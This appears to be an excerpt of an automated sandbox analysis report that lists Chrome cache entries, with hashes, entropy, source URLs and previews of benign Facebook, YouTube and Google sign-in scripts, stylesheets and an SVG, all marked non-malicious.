SSDEEP:	768:cVFC53PQVhADh8VUzn8ltRBx5AJ8HyMW3K/w7xMFdbXh/qip3qScV17juo30G1WS:SCBwhip8sJ8SMW377SGgS
MD5:	EFA1E48D56E530FA93CF00D2F3A06185
SHA1:	45798D1FD1525DF58D2E7247E9C1AD336CC0205C
SHA-256:	183AA97B823710C9F5871F9454F2302A5F58A6F8CAF608A26ED43BEB2E7D389C
SHA-512:	5587893D62063E78E3388A9BED8B15F4B9BABFC7124D77B3174EBE8A99AD1DE7643106AE09AFEC19500B260397E9939F9197ADD54C528154F07166B2AB0C590B
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yE/r/xGzxHIbkRpC.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("GenderConst",[],(function(a,b,c,d,e,f){e.exports={NOT_A_PERSON:0,FEMALE_SINGULAR:1,MALE_SINGULAR:2,FEMALE_SINGULAR_GUESS:3,MALE_SINGULAR_GUESS:4,MIXED_UNKNOWN:5,NEUTER_SINGULAR:6,UNKNOWN_SINGULAR:7,FEMALE_PLURAL:8,MALE_PLURAL:9,NEUTER_PLURAL:10,UNKNOWN_PLURAL:11}}),null);.__d("IntlVariations",[],(function(a,b,c,d,e,f){e.exports={BITMASK_NUMBER:28,BITMASK_GENDER:3,NUMBER_ZERO:16,NUMBER_ONE:4,NUMBER_TWO:8,NUMBER_FEW:20,NUMBER_MANY:12,NUMBER_OTHER:24,GENDER_MALE:1,GENDER_FEMALE:2,GENDER_UNKNOWN:3}}),null);.__d("InlineFbtResult",["cr:1183579"],(function(a,b,c,d,e,f,g){g["default"]=b("cr:1183579")}),98);.__d("FbtReactUtil",[],(function(a,b,c,d,e,f){a=typeof Symbol==="function"&&Symbol["for"]&&Symbol["for"]("react.element")\|\|60103;var g=!1;b={REACT_ELEMENT_TYPE:a,injectReactShim:function(a){var b={validated:!0};g?Object.defineProperty(a,"_store",{configurable:!1,enumerable:!1,writable:!1,value:b}):a._store=b}};e.exports=b}),null);.__d("FbtResultBase",[],(function(a,b,

Chrome Cache Entry: 970

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2549
Entropy (8bit):	4.065824216102575
Encrypted:	false
SSDEEP:	24:t4tQ6dEHu+4CE/EiFyCmxOJLGe1sxmJLOTyX3WCQ9yCmxOJLA5J2z5D6M9JMPxg0:WiE/yCmr9hj9mP0kOpFnqo7gX
MD5:	ECD94021D2C853C3B8DEB8203BA17300
SHA1:	6F0E24BAF66AE386041E8FAF42363418A4C96144
SHA-256:	0D6F8D206A6BD8B60A2048A3DF206AC956A2F633786E4AF1C02057F81758AD7A
SHA-512:	1967613484EB4FB2A50628CCED684C3E1022D1DF51D5AA86ADE53828DBDF0A748A8E99669C08EC5A9AA4BA97DC74F709AD4798BF486C1BAEEC60D24B223E5D50
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/y1/r/4lCu2zih0ca.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1090" height="360" fill="none" viewBox="0 0 1090 360">. <path fill="#0866FF" d="M881.583 257.897h29.48v-47.696l41.137 47.696h36.072l-47.89-54.969 40.909-47.663h-32.825l-37.403 43.93v-96.982l-29.48 3.864v151.82Zm-67.988-105.261c-32.728 0-55.455 22.013-55.455 53.929s22.727 53.929 55.455 53.929c32.727 0 55.455-22.013 55.455-53.929s-22.728-53.929-55.455-53.929Zm0 82.728c-15.163 0-25.552-11.721-25.552-28.799s10.389-28.799 25.552-28.799c15.162 0 25.552 11.721 25.552 28.799s-10.39 28.799-25.552 28.799Zm-119.807-82.728c-32.727 0-55.455 22.013-55.455 53.929s22.728 53.929 55.455 53.929c32.728 0 55.455-22.013 55.455-53.929s-22.727-53.929-55.455-53.929Zm0 82.728c-15.162 0-25.552-11.721-25.552-28.799s10.39-28.799 25.552-28.799c15.163 0 25.552 11.721 25.552 28.799s-10.389 28.799-25.552 28.799Zm-112.826-82.728c-13.636 0-24.935 5.357-32.013 15.162v-65.585l-29.513 3.831v151.82h26.169l.519-15.844c6.981 11.818 19.481 18.474 34.838 18.474 27.988 0 48.475-22.

Chrome Cache Entry: 971

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4404)
Category:	downloaded
Size (bytes):	34556
Entropy (8bit):	5.312462511840034
Encrypted:	false
SSDEEP:	384:u4QIoGAZsI8IAa/shzO0JAeUfFveG/dioyMhOHkiw:u4QIorsILA+WfieUt/dioycld
MD5:	639CDA1223DED911F9ED5D32F7C8BD67
SHA1:	56CEB0360F560043EF36090E8CADF6CD44552BE6
SHA-256:	B54EC6E8495B80F0224F12AE7CBBD3AE3333EB02D58E25AD5AA5074DFE8DE832
SHA-512:	CA75ABEEDF60A148C34DF06E62E950E0F1CD9F5917BC107D8836D86B31EFAAD9CCA4D96CA12D3DE28003E60DE33652FFDC6BE343009975349028568387A0C6CE
Malicious:	false
Reputation:	unknown
URL:	"https://static.xx.fbcdn.net/rsrc.php/v3/y1/l/0,cross/ZMAH_LE0voZ.css?_nc_x=Ij3Wp8lg5Kz"
Preview:	._4-do{text-align:center}._4-dp{font-size:24px;line-height:28px;margin:40px 0 20px}._4-dq{font-size:16px;line-height:28px;margin:20px 0}._4-dr{font-size:12px;line-height:20px}.._51u6{margin-bottom:-4px}._41uf,._41ug{display:inline-block;padding-right:14px;position:relative}._41uf .img{margin-left:1px;position:absolute;vertical-align:middle}._41ug .img{position:absolute;top:1px;vertical-align:middle}..#facebook ._-kb.mac{font-family:Helvetica Neue, Helvetica, Arial, sans-serif;-webkit-font-smoothing:subpixel-antialiased}#facebook ._-kb.sf{font-family:system-ui, -apple-system, BlinkMacSystemFont, '.SFNSText-Regular', sans-serif}@font-face{font-family:'Segoe UI Historic';src:local('Arial');unicode-range:U+530-5f4, U+10a0-10ff}@font-face{font-family:'Segoe UI Historic';font-weight:700;src:local('Arial Bold'), local('Arial');unicode-range:U+530-5f4, U+10a0-10ff}#facebook ._-kb.segoe{font-family:Segoe UI Historic, Segoe UI, Helvetica, Arial, sans-serif}#facebook ._-kb.roboto{font-family:Robo

Chrome Cache Entry: 972

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1973)
Category:	downloaded
Size (bytes):	16774
Entropy (8bit):	5.435544490962404
Encrypted:	false
SSDEEP:	192:ZlS0UrGjeqsTKF/VWO7L0J2AHNxMKnYNOr28F/1S94amg4qr9jXmT2fItXNu:4qtEUAHNxZ0OrrFN0S8
MD5:	AD6AA3451E397522B056E0B8EFB6CC27
SHA1:	2B491439BDDFD73418CDE3EF59B309259C58928E
SHA-256:	B6ECC4ABDE3468769FF07BC6F76F694F1E738AEF7EF71572BF2D20F5B9D69EB4
SHA-512:	6C113602E65E3AB2615E9C5BA744F03D57ECA5E2B164DC62D2057B7A6B72EC85796AB26736F5FC14D9CD61DBD15FFD911F6CC38988E0934341327ED8F33BCF6F
Malicious:	false
Reputation:	unknown
URL:	https://www.youtube.com/s/desktop/80338919/jsbin/network.vflset/network.js
Preview:	(function(){function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var l="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ba(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof n&&n];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var p=ba(this);function r(a,b){if(b)a:{var c=p;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&l(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}function c(f,h){this.g=f;l(this,"description",{configurable:!0,writable:!0,value:h})}if(a)return a;c.prototype.toS

Chrome Cache Entry: 973

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15990)
Category:	downloaded
Size (bytes):	670506
Entropy (8bit):	5.734945947279104
Encrypted:	false
SSDEEP:	6144:jOCEdMoAb+a0RaaaDiLAj/b8X3HMAwG7+SLarPgg2C+Y:j9KMoAbEa7W3HdwxUY
MD5:	14B09FBBD54D23643BB62856CCA0CE1D
SHA1:	59F0388EBC9872EDDB4E680F27A989413461498F
SHA-256:	3DC5B8F6AD05B487BBEF49C42C3FFF488ABF47D75CD2D62BB50DA2A02D1082B9
SHA-512:	074939AB026F704363BB586FF029C2B8D54B0228C88573B69DD40EA63EAFD1220CCD7C368EB8132BF039DFC4A4C007E565B76760D720EEE4F04588C2C50CD476
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.nOJ7WSKZu4M.es5.O/ck=boq-identity.AccountsSignInUi.7fQcyxKRGI4.L.B1.O/am=P8BCUo4FQIyZ5Zy_Z5wcBgAAAAAAAAAAWAPYAQ/d=1/exm=LEikZe,_b,_tp,byfTOb,lsjVmc/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlEotM5KnP6eq1I-j0IjUz5JAQCU0Q/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=n73qwf,SCuOPb,IZT63,vfuNJf,UUJqVe,ws9Tlc,siKnQd,STuCOe,njlZCf,fJpY1b,b3kMqb,EGw7Od,ZUKRxc,my67ye,t2srLd,EN3i8d,hmHrle,mWLH9d,NOeYWe,O6y8ed,fqEYIb,PrPYRd,MpJwZc,hc6Ubd,Rkm0ef,KUM7Z,oLggrd,inNHtf,L1AAkb,lwddkf,SpsfSb,fFzhe,tUnxGc,aW3pY,EFQ78c,xQtZb,I6YDgd,zbML3c,zr1jrb,vHEMJe,YHI3We,YTxL4,bSspM,Uas9Hd,zy0vNb,K0PMbc,AvtSve,qmdT9,xBaz7b,eVCnO,LDQI"
Preview:	"use strict";_F_installCss(".Mh0NNb{background-color:#323232;bottom:0;box-sizing:border-box;box-shadow:0px 6px 10px 0px rgba(0,0,0,.14),0px 1px 18px 0px rgba(0,0,0,.12),0px 3px 5px -1px rgba(0,0,0,.2);color:#fff;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;flex-direction:column;font-size:14px;left:0;min-height:48px;position:fixed;right:0;transform:translate(0,100%);visibility:hidden;z-index:99999}.M6tHv{-webkit-box-align:center;box-align:center;align-items:center;align-content:center;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;flex-direction:row;min-height:inherit;padding:0}.aGJE1b{box-flex:1;flex-grow:1;flex-shrink:1;line-height:normal;overflow:hidden;padding:14px 24px;text-overflow:ellipsis;word-break:break-word}.x95qze{align-self:center;color:#eeff41;box-flex:0;flex-grow:0;flex-shrink:0;float:right;text-transform:uppercase;font-weight:500;display:inline-block;cursor:pointer;outline:none;padding:14px 24px}.KYZn9b{background-color:#

Chrome Cache Entry: 974

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (5877)
Category:	downloaded
Size (bytes):	20462
Entropy (8bit):	5.394115880368359
Encrypted:	false
SSDEEP:	384:RQjPTBXoWi8zyzsRuFW3EDa7CLqv03W2Adl3ih9Dy2U52zy:6TB4WBBSW3ieCLulER42zy
MD5:	B65CA920DDA41E1DB159E6C8AD2F4A39
SHA1:	2C0E43D543C4978CA1A6ADEBFB7C89FF06063938
SHA-256:	246920C75E280B13418ABB4A7E3E299D315BB4BF0620C6E0A8D135016278B074
SHA-512:	173609DE40E368472B721A29A493098D17222AFCB93B78BE9FCAE0D345E62791269D63AA1FF7B5EDDBE6FE23FDF2094BD8DBA6F97E12A5B1440310FB992BDAAE
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yZ/r/I_Arz_GerDQ.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("EventListenerImplForBlue",["Event","TimeSlice","emptyFunction","setImmediateAcrossTransitions"],(function(a,b,c,d,e,f,g){function h(a,b,d,e){var f=c("TimeSlice").guard(d,"EventListener capture "+b);if(a.addEventListener){a.addEventListener(b,f,e);return{remove:function(){a.removeEventListener(b,f,e)}}}else return{remove:c("emptyFunction")}}a={listen:function(a,b,d){return c("Event").listen(a,b,d)},capture:function(a,b,c){return h(a,b,c,!0)},captureWithPassiveFlag:function(a,b,c,d){return h(a,b,c,{passive:d,capture:!0})},bubbleWithPassiveFlag:function(a,b,c,d){return h(a,b,c,{passive:d,capture:!1})},registerDefault:function(a,b){var d,e=c("Event").listen(document.documentElement,a,f,c("Event").Priority._BUBBLE);function f(){g(),d=c("Event").listen(document,a,b),c("setImmediateAcrossTransitions")(g)}function g(){d&&d.remove(),d=null}return{remove:function(){g(),e&&e.remove(),e=null}}},suppress:function(a){c("Event").kill(a)}};b=a;g["default"]=b}),98);.__d("BasicVe

Chrome Cache Entry: 975

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8477)
Category:	downloaded
Size (bytes):	51591
Entropy (8bit):	5.384923354321411
Encrypted:	false
SSDEEP:	768:g1F35HLYF0kiAGhJ65x0KDKDJcrjrMwmvsPxch3pWT:e3JLYqkiAGWx0KDCJcrjrMwmvsPw4T
MD5:	D525E2986EF30C6C5876AA4BBD5D155F
SHA1:	16A848EE7B79DB0CA46061CC61E1F81257D04AE8
SHA-256:	4DE549AD703554664B92AD274104EB22A10D92094888E478BE08F5353D1D0434
SHA-512:	FC362D38DF1A8DAC9CC2EB1476F7BE6AC23A83A4D192518AC2D270E2FCD270D49CBF355D4D05120FB776398F210CC1D96CBC93233A76712EACE934DD4685BC5C
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yp/r/sKtrEJAtiUM.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("BdPdcSignalsFalcoEvent",["FalcoLoggerInternal","getFalcoLogPolicy_DO_NOT_USE"],(function(a,b,c,d,e,f,g){"use strict";a=c("getFalcoLogPolicy_DO_NOT_USE")("1743095");b=d("FalcoLoggerInternal").create("bd_pdc_signals",a);e=b;g["default"]=e}),98);.__d("BotDetection_SignalFlags",[],(function(a,b,c,d,e,f){a=Object.freeze({ACTIVE:1,DYNAMIC:2,BIOMETRIC:4,DEPRECATED:8,WEB:16,IOS_NATIVE:32,ANDROID_NATIVE:64,EQUAL_BY_VALUE:128,EQUAL_BY_CONTEXT:256,EQUAL_BY_TIMESTAMP:512,SUSPICIOUS_TIER:1024,PARANOID_TIER:2048,RANDOM_SAMPLE_TIER_DEPRECATED:4096,BENIGN_TIER:262144,EMPLOYEES_TIER:524288,BUNDLE:8192,ONSITE:16384,OFFSITE:32768,OFFSITE_SENSITIVE:65536,SENSITIVE:131072});f["default"]=a}),66);.__d("BDOperationTypedLogger",["Banzai","GeneratedLoggerUtils"],(function(a,b,c,d,e,f){"use strict";a=function(){function a(){this.$1={}}var c=a.prototype;c.log=function(a){b("GeneratedLoggerUtils").log("logger:BDOperationLoggerConfig",this.$1,b("Banzai").BASIC,a)};c.logVital=function(a){b("G

Chrome Cache Entry: 976

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4199)
Category:	downloaded
Size (bytes):	19219
Entropy (8bit):	5.387735925560776
Encrypted:	false
SSDEEP:	384:dV93FTqX+j480p9eoS3jSOE5ouUxK7HROZKMrd3dg:d7Lj480p9etN1xK7xOZKAldg
MD5:	9E1C91CD2BCAB1C001E94C6961649A42
SHA1:	06CD3C26EFB2BD546193768730887FE5DCE88E84
SHA-256:	C1C9E96932CBF5E8BDDB5787C253F98A44E47430FBF5D05ADE4641E8A1B71FE9
SHA-512:	DDFE2C92C3CAF3FED225128831651C40935D900F43EDF4F6D3F2AE0C855D62417C13952DEF9A96D766065F41ADE471550EEDE1736A1B9B0EF060B00B05C4E8F0
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.nOJ7WSKZu4M.es5.O/ck=boq-identity.AccountsSignInUi.7fQcyxKRGI4.L.B1.O/am=P8BCEo4FQIyZ5Zy_Z5wcBgAAAAAAAAAAWAPYAQ/d=1/exm=AvtSve,Ctsu,EFQ78c,EGw7Od,EN3i8d,I6YDgd,IZ1fbc,IZT63,K0PMbc,KUM7Z,L1AAkb,LDQI,LEikZe,MpJwZc,NOeYWe,O6y8ed,PHUIyb,PrPYRd,Rkm0ef,Rusgnf,SCuOPb,STuCOe,SpsfSb,UPKV3d,UUJqVe,Uas9Hd,W2YXuc,YHI3We,YTxL4,ZUKRxc,_b,_tp,aW3pY,b3kMqb,bPkrc,bSspM,bTi8wc,byfTOb,eVCnO,fFzhe,fJpY1b,fqEYIb,hc6Ubd,hmHrle,inNHtf,kSPLL,lsjVmc,ltDFwf,lwddkf,mWLH9d,my67ye,n73qwf,njlZCf,oLggrd,pxq3x,qPfo0c,qmdT9,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,ws9Tlc,xBaz7b,xQtZb,yRXbo,ywOR5c,zbML3c,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlESPRnh-JZZP_yCycaEkysrUryWfw/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=RqjULd"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.sw=function(a){this.Ga=_.t(a)};_.z(_.sw,_.v);_.tw=function(a,b){return _.sd(a,3,b,_.vc)};_.sw.Gb=[1,2,3,4];.var wAa=_.da.URL,xAa,yAa,AAa,zAa;try{new wAa("http://example.com"),xAa=!0}catch(a){xAa=!1}yAa=xAa;.AAa=function(a){var b=_.Si("A");try{_.ue(b,_.pe(a));var c=b.protocol}catch(e){throw Error("dc`"+a);}if(""===c\|\|":"===c\|\|":"!=c[c.length-1])throw Error("dc`"+a);if(!zAa.has(c))throw Error("dc`"+a);if(!b.hostname)throw Error("dc`"+a);var d=b.href;a={href:d,protocol:b.protocol,username:"",password:"",hostname:b.hostname,pathname:"/"+b.pathname,search:b.search,hash:b.hash,toString:function(){return d}};zAa.get(b.protocol)===b.port?(a.host=a.hostname,a.port="",a.origin=a.protocol+"//"+a.hostname):(a.host=.b.host,a.port=b.port,a.origin=a.protocol+"//"+a.hostname+":"+a.port);return a};._.BAa=function(a){if(yAa){try{var b=new wAa(a)}catch(d){throw Error("dc`"+a);}var c=zAa.get(b

Chrome Cache Entry: 977

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (511)
Category:	downloaded
Size (bytes):	2051
Entropy (8bit):	5.245569770149611
Encrypted:	false
SSDEEP:	48:x2npr4QxmTJsIxHPTNSxf0gzu590yKECxex3XZKE+:x44wmTJsYH7NGf0gKT0yKE2K3pJ+
MD5:	A94E7CD86F5824E27720F5D3C712DF9A
SHA1:	7BF52949685727D7133F452B432A57615E40978F
SHA-256:	59CE6BDF8E3D17BB68667499C34A3EC32B9F7836DBCA59D03237A4C9FFFEFD35
SHA-512:	726D7BB3C7D356453A10D590EE4806BDE864FC7E909BA8F03E194B1F1BAA0D65AE8FC89E9E393F2300ED3536969E7445AC39860E3BB0EA338EF19F4B51139B9F
Malicious:	false
Reputation:	unknown
URL:	https://www.youtube.com/s/desktop/80338919/jsbin/custom-elements-es5-adapter.vflset/custom-elements-es5-adapter.js
Preview:	'use strict';/.. Copyright (c) 2016 The Polymer Project Authors. All rights reserved.. This code may only be used under the BSD style license found at http://polymer.github.io/LICENSE.txt. The complete set of authors may be found at http://polymer.github.io/AUTHORS.txt. The complete set of contributors may be found at http://polymer.github.io/CONTRIBUTORS.txt. Code distributed by Google as part of the polymer project is also. subject to an additional IP rights grant found at http://polymer.github.io/PATENTS.txt./.(()=>{if(window.customElements){var h=window.HTMLElement,m=window.customElements.define,n=window.customElements.get,k=new Map,l=new Map,e=!1,f=!1;window.HTMLElement=function(){if(!e){var a=k.get(this.constructor);a=n.call(window.customElements,a);f=!0;return new a}e=!1};window.HTMLElement.prototype=h.prototype;window.HTMLElement.es5Shimmed=!0;Object.defineProperty(window,"customElements",{value:window.customElements,configurable:!0,writable:!0});Object.defineProperty(window.

Chrome Cache Entry: 978

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15990)
Category:	downloaded
Size (bytes):	670506
Entropy (8bit):	5.734945947279104
Encrypted:	false
SSDEEP:	6144:jOCEdMoAb+a0RaaaDiLAj/b8X3HMAwG7+SLarPgg2C+Y:j9KMoAbEa7W3HdwxUY
MD5:	14B09FBBD54D23643BB62856CCA0CE1D
SHA1:	59F0388EBC9872EDDB4E680F27A989413461498F
SHA-256:	3DC5B8F6AD05B487BBEF49C42C3FFF488ABF47D75CD2D62BB50DA2A02D1082B9
SHA-512:	074939AB026F704363BB586FF029C2B8D54B0228C88573B69DD40EA63EAFD1220CCD7C368EB8132BF039DFC4A4C007E565B76760D720EEE4F04588C2C50CD476
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.nOJ7WSKZu4M.es5.O/ck=boq-identity.AccountsSignInUi.7fQcyxKRGI4.L.B1.O/am=P8BCEo4FQIyZ5Zy_Z5wcBgAAAAAAAAAAWAPYAQ/d=1/exm=LEikZe,_b,_tp,byfTOb,lsjVmc/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlESPRnh-JZZP_yCycaEkysrUryWfw/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=n73qwf,SCuOPb,IZT63,vfuNJf,UUJqVe,ws9Tlc,siKnQd,STuCOe,njlZCf,fJpY1b,b3kMqb,EGw7Od,ZUKRxc,my67ye,t2srLd,EN3i8d,hmHrle,mWLH9d,NOeYWe,O6y8ed,fqEYIb,PrPYRd,MpJwZc,hc6Ubd,Rkm0ef,KUM7Z,oLggrd,inNHtf,L1AAkb,lwddkf,SpsfSb,fFzhe,tUnxGc,aW3pY,EFQ78c,xQtZb,I6YDgd,zbML3c,zr1jrb,vHEMJe,YHI3We,YTxL4,bSspM,Uas9Hd,zy0vNb,K0PMbc,AvtSve,qmdT9,xBaz7b,eVCnO,LDQI"
Preview:	"use strict";_F_installCss(".Mh0NNb{background-color:#323232;bottom:0;box-sizing:border-box;box-shadow:0px 6px 10px 0px rgba(0,0,0,.14),0px 1px 18px 0px rgba(0,0,0,.12),0px 3px 5px -1px rgba(0,0,0,.2);color:#fff;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;flex-direction:column;font-size:14px;left:0;min-height:48px;position:fixed;right:0;transform:translate(0,100%);visibility:hidden;z-index:99999}.M6tHv{-webkit-box-align:center;box-align:center;align-items:center;align-content:center;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;flex-direction:row;min-height:inherit;padding:0}.aGJE1b{box-flex:1;flex-grow:1;flex-shrink:1;line-height:normal;overflow:hidden;padding:14px 24px;text-overflow:ellipsis;word-break:break-word}.x95qze{align-self:center;color:#eeff41;box-flex:0;flex-grow:0;flex-shrink:0;float:right;text-transform:uppercase;font-weight:500;display:inline-block;cursor:pointer;outline:none;padding:14px 24px}.KYZn9b{background-color:#

Chrome Cache Entry: 979

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (29833)
Category:	downloaded
Size (bytes):	50561
Entropy (8bit):	5.357316434641012
Encrypted:	false
SSDEEP:	768:9TxQb5CNthxTB3eFT3CaC3i+56PxRBYVZqrFP7cZhHgaL9quDheNfGg2ynJDRX:Ib5sB32zr46PxRjrqL1m3
MD5:	7790691A55F644D7FB3C19BCF2A19816
SHA1:	E804EA514A622071DDFAE5E84D78942035B7A840
SHA-256:	0FFC1AD6E19330A6EF4CA56C293C0D9EF1F743C8FF419205D18EAB1B28F00321
SHA-512:	FD8333F93EA61CF666701EA2A67FF144360BA6E23969ECEAB9D589808FE2118CF217817B668C4DFA980F43D7835FC108F4C2837B630EBB2F376238B70A9F75E9
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3i7M54/yU/l/en_US/NJVgMHwCLBZ.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("PageHooks",["Arbiter","ErrorUtils","InitialJSLoader","PageEvents"],(function(a,b,c,d,e,f){var g;f={DOMREADY_HOOK:"domreadyhooks",ONLOAD_HOOK:"onloadhooks"};function h(){k(l.DOMREADY_HOOK),window.domready=!0,b("Arbiter").inform("uipage_onload",!0,"state")}function i(){k(l.ONLOAD_HOOK),window.loaded=!0}function j(a,c){return(g\|\|(g=b("ErrorUtils"))).applyWithGuard(a,null,null,function(a){a.event_type=c,a.category="runhook"},"PageHooks:"+c)}function k(a){var b=a=="onbeforeleavehooks"\|\|a=="onbeforeunloadhooks";do{var c=window[a];if(!c)break;b\|\|(window[a]=null);for(var d=0;d<c.length;d++){var e=j(c[d],a);if(b&&e)return e}}while(!b&&window[a])}function c(){window.domready\|\|(window.domready=!0,k("onloadhooks")),window.loaded\|\|(window.loaded=!0,k("onafterloadhooks"))}function d(){var a,c;(a=b("Arbiter")).registerCallback(h,[(c=b("PageEvents")).BIGPIPE_DOMREADY,b("InitialJSLoader").INITIAL_JS_READY]);a.registerCallback(i,[c.BIGPIPE_DOMREADY,c.BIGPIPE_ONLOAD,b("InitialJSLo

Chrome Cache Entry: 980

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4490)
Category:	downloaded
Size (bytes):	15696
Entropy (8bit):	5.53720422098828
Encrypted:	false
SSDEEP:	384:kBEhu582htJ02PzxIwk6jqPSZUXV4jqPSZq17i+PV0vvnXhFawn8zVt9cb6KS3/:kBmf2htJ1bxIwk6jqPSZUXV4jqPSZq15
MD5:	39E4DAD5F851BDD16999313F5509C819
SHA1:	AF68B7028EAE61C563517BE394B85B31ADAA1809
SHA-256:	966740F8D9BCC0330E72ADF6812BEC13FED90EFB03AE21EF698F47C6AA33BB58
SHA-512:	AC4B3491EB0B1C512E4AFDD9BD44ECAB9B4429D351C661BFEFB01E1346D6AB72095CF3C5F5EF2C695CADD7E2342F81A5163CD3826BF5E68A21336E28567308AE
